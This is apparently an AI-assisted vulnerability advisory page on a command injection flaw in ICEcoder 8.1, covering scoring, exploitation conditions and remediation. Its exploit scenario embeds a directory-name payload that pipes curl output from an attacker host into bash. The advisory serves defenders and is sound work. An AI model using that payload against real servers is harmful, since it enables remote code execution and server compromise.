Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to ICEcoder with valid credentials
-
DeliveryCreate directory with shell metacharacters in name
-
ExploitNavigate to directory and invoke Properties function
-
Executionlib/properties.php passes unescaped path to popen()
-
ImpactShell executes injected OS commands as web-server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid ICEcoder login (low-privilege authenticated user, consistent with PR:L in the CVSS vector). The attacker must be able to create or name directories on the server's filesystem through the ICEcoder interface - a capability inherent to any user with write access in the editor. The vulnerability is triggered specifically by accessing the Properties function for a directory whose name contains shell metacharacters. No non-default configuration is required; the flaw exists in the standard code path of lib/properties.php. Exploitation is limited to the web-server user's OS privilege level; root access or secondary privilege escalation would require additional exploitation steps beyond this CVE. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.7 and reflects the core risk accurately: network-accessible, low complexity, no special preconditions (AT:N), but requiring low-privilege authentication (PR:L), which materially limits the exposed attack surface compared to an unauthenticated flaw. The high C/I/A impact on the vulnerable system is consistent with arbitrary command execution as the web-server user. The scope change metrics (SC/SI/SA all N) are appropriate - exploitation stays within the web-server process boundary absent secondary privilege escalation. The absence of a KEV listing and no independently confirmed public exploit code (though a detailed advisory with source line references exists) keeps real-world urgency moderate. ICEcoder is a niche product with low enterprise deployment footprint, further reducing aggregate risk. The primary concern is for organizations that expose ICEcoder to any non-fully-trusted user, including internal developer teams with mixed trust levels, as any authenticated account suffices for exploitation. |
| Exploit ScenarioDerived | An authenticated ICEcoder user creates a directory named with embedded shell metacharacters - for example, a name containing '; curl attacker.com/shell.sh | bash #' - using the editor's file management interface. When the user (or an attacker) then accesses the Properties function for that directory, lib/properties.php passes the path unsanitized to popen(), causing the shell to execute the injected commands. The injected payload runs as the web-server user (e.g., www-data), enabling arbitrary file access, reverse shell establishment, or lateral movement within the server environment. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 10, 2026
OS command injection in ICEcoder through 8.1 allows authenticated low-privilege users to execute arbitrary operating system commands as the web-server user. The flaw resides in lib/properties.php (line 37), where a user-supplied filesystem directory path is passed without any shell metacharacter escaping into a popen() call. An attacker with ICEcoder login access can create a directory whose name embeds shell metacharacters, then invoke the Properties function to trigger command execution. No public exploit or CISA KEV listing is confirmed at time of analysis, but a detailed researcher advisory with source-code references is publicly available on GitHub.
RemediationAI
No vendor-released patch identified at time of analysis. The VulnCheck advisory (https://www.vulncheck.com/advisories/icecoder-through-8.1-os-command-injection-via-lib-properties-php) and the researcher advisory (https://github.com/Caycon/cve-advisories/blob/main/2026/ICEcoder/CVE-2026-64837.md) should be monitored for patch availability from the upstream repository. Until a fix is released, deployments should restrict ICEcoder access strictly to fully trusted users who already have equivalent OS-level access, effectively eliminating the privilege-escalation risk. Deploying ICEcoder behind authentication that prevents access by untrusted or external users is a critical compensating control. Administrators may also consider disabling or blocking access to the Properties function in lib/properties.php directly, though this degrades editor functionality. Running ICEcoder in a container or chroot with a minimal-privilege web-server user limits blast radius if exploitation occurs.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
ICEcoder is a browser-based PHP code editor designed for in-browser development and file management. The vulnerable component is lib/properties.php, where the application retrieves filesystem metadata on user-specified directories. At line 37, the directory path - which is under user influence via the filesystem interface - is interpolated directly into a shell command string passed to PHP's popen() function, which invokes a system shell. Because no escaping or allowlisting of shell metacharacters (e.g., semicolons, backticks, pipes, dollar signs) is applied, a directory name containing these characters causes the shell to interpret the injected tokens as additional commands. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) describes this root cause precisely. The affected CPE is cpe:2.3:a:icecoder:icecoder:*:*:*:*:*:*:*:*, covering all versions up to and including 8.1 per EUVD data.
Know when Icecoder gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-accessible via browser, low complexity, requires low-privilege authentication; execution remains within web-server user context with no scope change.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
ICEcoder through 8.1 passes an unescaped filesystem path into a shell command in lib/properties.php, allowing authenticated users to inject OS commands through directory names. Attackers can create directories with shell metacharacters in their names and access the Properties function to execute arbitrary commands as the web-server user via popen().
Executive ViewAI
ICEcoder web-based code editor versions 8.1 and earlier contain an authenticated command injection vulnerability (CVSS 8.7) that allows low-privilege developers to execute arbitrary operating system commands with web-server privileges. Organizations using ICEcoder for team development face risks of unauthorized code modification, data theft, and lateral network movement if compromised. Development teams relying on ICEcoder for remote editing should immediately restrict access and implement monitoring given the severity of command execution capabilities.
Restrict ICEcoder access to only essential, trusted developers and disable accounts for inactive users. Run ICEcoder under a dedicated least-privilege web-server user with minimal filesystem permissions and no unnecessary system command capabilities. Implement input validation at the application level to reject directory names containing shell metacharacters (;, |, &, $, `, etc.). Monitor all process execution from PHP and the web-server process for exploitation patterns. Apply network segmentation to limit lateral movement if the web-server account is compromised. If development workflow permits, disable ICEcoder in favor of an alternative platform pending patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
ICEcoder v8.1 allows attackers to execute a directory traversal. Rated high severity (CVSS 7.5), this vulnerability is r
ICEcoder 8.1 contains a Path Traversal vulnerability via lib/backup-versions-preview-loader.php. Rated medium severity (
ICEcoder 8.1 is vulnerable to Cross Site Scripting (XSS) via lib/terminal-xhr.php. Rated medium severity (CVSS 6.1), thi
ICEcoder 8.1 is vulnerable to Cross Site Scripting (XSS) via lib/settings-screen.php. Rated medium severity (CVSS 6.1),
In ICEcoder 8.0 allows, a reflected XSS vulnerability was identified in the multipe-results.php page due to insufficient
Unauthenticated remote code execution in ICEcoder 8.1 allows any network-reachable attacker to run arbitrary OS commands
Path traversal in ICEcoder through version 8.1 enables authenticated low-privilege users to move arbitrary files from ou
Path traversal in ICEcoder through version 8.1 allows authenticated low-privilege attackers to read, write, or delete ar
EUVD-2026-75454
GHSA-32c3-7gmv-f9ch
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB